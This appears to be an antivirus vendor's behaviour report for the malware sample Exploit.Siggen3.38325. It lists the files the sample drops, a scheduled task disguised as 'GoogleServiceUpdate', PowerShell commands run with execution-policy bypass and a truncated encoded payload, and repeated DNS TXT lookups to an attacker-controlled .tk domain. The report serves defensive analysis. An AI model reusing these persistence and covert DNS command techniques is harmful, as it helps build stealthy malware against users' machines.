Exploit.Siggen3.38325

Technical Information

To ensure autorun and distribution

Creates or modifies the following files

<SYSTEM32>\tasks\googleserviceupdate

Malicious functions

Executes the following (exploit)

'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -exec bypass -Enc JABwAGEAdABoAD0AIAAiACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAXABhAHAAcABkAGEAdABhAFwAbABvAGMAYQBsAFwAbQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACIADQAKAA0ACgBpAGYAKAAtAG4...

Modifies file system

Creates the following files

%TEMP%\u1848931.tmp
<Current directory>\a2d11000
%LOCALAPPDATA%\microsoft\windows\l69742.vbs
%LOCALAPPDATA%\microsoft\windows\mc.ps1

Substitutes the following files

<PATH_SAMPLE>.xls

Network activity

UDP

DNS ASK rn#######_770165328.yjksdrl.tk
DNS ASK rn#######_217492910.yjksdrl.tk
DNS ASK rn#######_685766425.yjksdrl.tk
DNS ASK rn#######_1743878884.yjksdrl.tk
DNS ASK rn#######_1101709518.yjksdrl.tk
DNS ASK rn#######_1281383812.yjksdrl.tk
DNS ASK rn#######_822331294.yjksdrl.tk
DNS ASK rn#######_1879689400.yjksdrl.tk
DNS ASK rn#######_496269074.yjksdrl.tk
DNS ASK rn#######_299672840.yjksdrl.tk
DNS ASK rn#######_403112878.yjksdrl.tk
DNS ASK rn#######_1457443451.yjksdrl.tk
DNS ASK rn#######_1079781535.yjksdrl.tk
DNS ASK rn#######_1456281949.yjksdrl.tk
DNS ASK rn#######_1537676273.yjksdrl.tk
DNS ASK rn#######_1929719954.yjksdrl.tk
DNS ASK rn#######_1882019252.yjksdrl.tk
DNS ASK rn#######_1583574264.yjksdrl.tk
DNS ASK rn#######_622458033.yjksdrl.tk
DNS ASK rn#######_268226786.yjksdrl.tk
DNS ASK rn#######_1737108452.yjksdrl.tk
DNS ASK rn#######_1343454529.yjksdrl.tk
DNS ASK rn#######_908806277.yjksdrl.tk
DNS ASK rn#######_221918990.yjksdrl.tk
DNS ASK rn#######_1380509369.yjksdrl.tk
DNS ASK rn#######_800747656.yjksdrl.tk
DNS ASK rn#######_2009721166.yjksdrl.tk
DNS ASK rn#######_1560260780.yjksdrl.tk
DNS ASK rn#######_1213078211.yjksdrl.tk
DNS ASK rn#######_1230602153.yjksdrl.tk
DNS ASK rn#######_64517479.yjksdrl.tk
DNS ASK rn#######_1706199858.yjksdrl.tk
DNS ASK rn#######_1481799748.yjksdrl.tk
DNS ASK rn#######_471135854.yjksdrl.tk
DNS ASK rn#######_1616555493.yjksdrl.tk
DNS ASK rn#######_976976374.yjksdrl.tk
DNS ASK rn#######_1775286265.yjksdrl.tk
DNS ASK rn#######_1625514888.yjksdrl.tk
DNS ASK rn#######_1930155489.yjksdrl.tk
DNS ASK rn#######_1385265958.yjksdrl.tk
DNS ASK rn#######_782633473.yjksdrl.tk
DNS ASK rn#######_2011159675.yjksdrl.tk
DNS ASK rn#######_1016018278.yjksdrl.tk
DNS ASK rn#######_1333311435.yjksdrl.tk
DNS ASK rn#######_877306961.yjksdrl.tk
DNS ASK rn#######_564451308.yjksdrl.tk
DNS ASK rn#######_1533942296.yjksdrl.tk
DNS ASK rn#######_217140874.yjksdrl.tk
DNS ASK rn#######_1674653720.yjksdrl.tk
DNS ASK rn#######_773702381.yjksdrl.tk
DNS ASK rn#######_1818166261.yjksdrl.tk
DNS ASK rn#######_602766036.yjksdrl.tk
DNS ASK rn#######_125714474.yjksdrl.tk
DNS ASK rn#######_1179834360.yjksdrl.tk

Miscellaneous

Creates and executes the following

'<SYSTEM32>\wscript.exe' "%LOCALAPPDATA%\microsoft\Windows\L69742.vbs"
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -sta -NonI -exec bypass -file %LOCALAPPDATA%\microsoft\Windows\mc.ps1
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -exec bypass -Enc JABwAGEAdABoAD0AIAAiACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAXABhAHAAcABkAGEAdABhAFwAbABvAGMAYQBsAFwAbQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACIADQAKAA0ACgBpAGYAKAAtAG4...' (with hidden window)
'<SYSTEM32>\wscript.exe' "%LOCALAPPDATA%\microsoft\Windows\L69742.vbs"' (with hidden window)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -sta -NonI -exec bypass -file %LOCALAPPDATA%\microsoft\Windows\mc.ps1' (with hidden window)

Executes the following

'<SYSTEM32>\cmd.exe' /c "schtasks /create /F /sc minute /mo 2 /tn "GoogleServiceUpdate" /tr "\"%LOCALAPPDATA%\microsoft\Windows\L69742.vbs"\" "
'<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_1281383812.yjksdrl.tk
'<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_822331294.yjksdrl.tk
'<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_1879689400.yjksdrl.tk
'<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_496269074.yjksdrl.tk
'<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_299672840.yjksdrl.tk
'<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_403112878.yjksdrl.tk
'<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_1079781535.yjksdrl.tk
'<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_1385265958.yjksdrl.tk
'<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_1456281949.yjksdrl.tk
'<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_1537676273.yjksdrl.tk
'<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_1929719954.yjksdrl.tk
'<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_1882019252.yjksdrl.tk
'<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_1583574264.yjksdrl.tk
'<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_1743878884.yjksdrl.tk
'<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_1101709518.yjksdrl.tk
'<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_622458033.yjksdrl.tk
'<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_268226786.yjksdrl.tk
'<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_249216864.yjksdrl.tk
'<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_681052092.yjksdrl.tk
'<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_1843962339.yjksdrl.tk
'<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_651740346.yjksdrl.tk
'<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_1559919539.yjksdrl.tk
'<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_217140874.yjksdrl.tk
'<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_439375830.yjksdrl.tk
'<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_553024454.yjksdrl.tk
'<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_1310960802.yjksdrl.tk
'<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_1179834360.yjksdrl.tk
'<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_1930155489.yjksdrl.tk
'<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_908806277.yjksdrl.tk
'<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_1343454529.yjksdrl.tk
'<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_1737108452.yjksdrl.tk
'<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_685766425.yjksdrl.tk
'<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_217492910.yjksdrl.tk
'<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_1380509369.yjksdrl.tk
'<SYSTEM32>\taskeng.exe' {FF469705-BECF-422F-90A4-7B3CA8E497FC} S-1-5-21-1960123792-2022915161-3775307078-1001:nitmwzw\user:Interactive:[1]
'<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_770165328.yjksdrl.tk
'<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_602766036.yjksdrl.tk
'<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_1213078211.yjksdrl.tk
'<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_1230602153.yjksdrl.tk
'<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_64517479.yjksdrl.tk
'<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_1706199858.yjksdrl.tk
'<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_1481799748.yjksdrl.tk
'<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_471135854.yjksdrl.tk
'<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_1616555493.yjksdrl.tk
'<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_976976374.yjksdrl.tk
'<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_1775286265.yjksdrl.tk
'<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_1625514888.yjksdrl.tk
'<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_782633473.yjksdrl.tk
'<SYSTEM32>\schtasks.exe' /create /F /sc minute /mo 2 /tn "GoogleServiceUpdate" /tr "\"%LOCALAPPDATA%\microsoft\Windows\L69742.vbs"\"
'<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_1457443451.yjksdrl.tk
'<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_221918990.yjksdrl.tk
'<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_125714474.yjksdrl.tk
'<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_2011159675.yjksdrl.tk
'<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_1016018278.yjksdrl.tk
'<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_1333311435.yjksdrl.tk
'<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_877306961.yjksdrl.tk
'<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_564451308.yjksdrl.tk
'<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_1075595963.yjksdrl.tk
'<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_1533942296.yjksdrl.tk
'<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_236046124.yjksdrl.tk
'<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_773702381.yjksdrl.tk
'<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_1818166261.yjksdrl.tk
'<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_1560260780.yjksdrl.tk
'<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_2009721166.yjksdrl.tk
'<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_800747656.yjksdrl.tk
'<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_1674653720.yjksdrl.tk
'<SYSTEM32>\nslookup.exe' -q=TXT rne_41255_759483464.yjksdrl.tk

Tecnologías

Términos

Formación y educación

Mitos

Technical Information

Curing recommendations

Free trial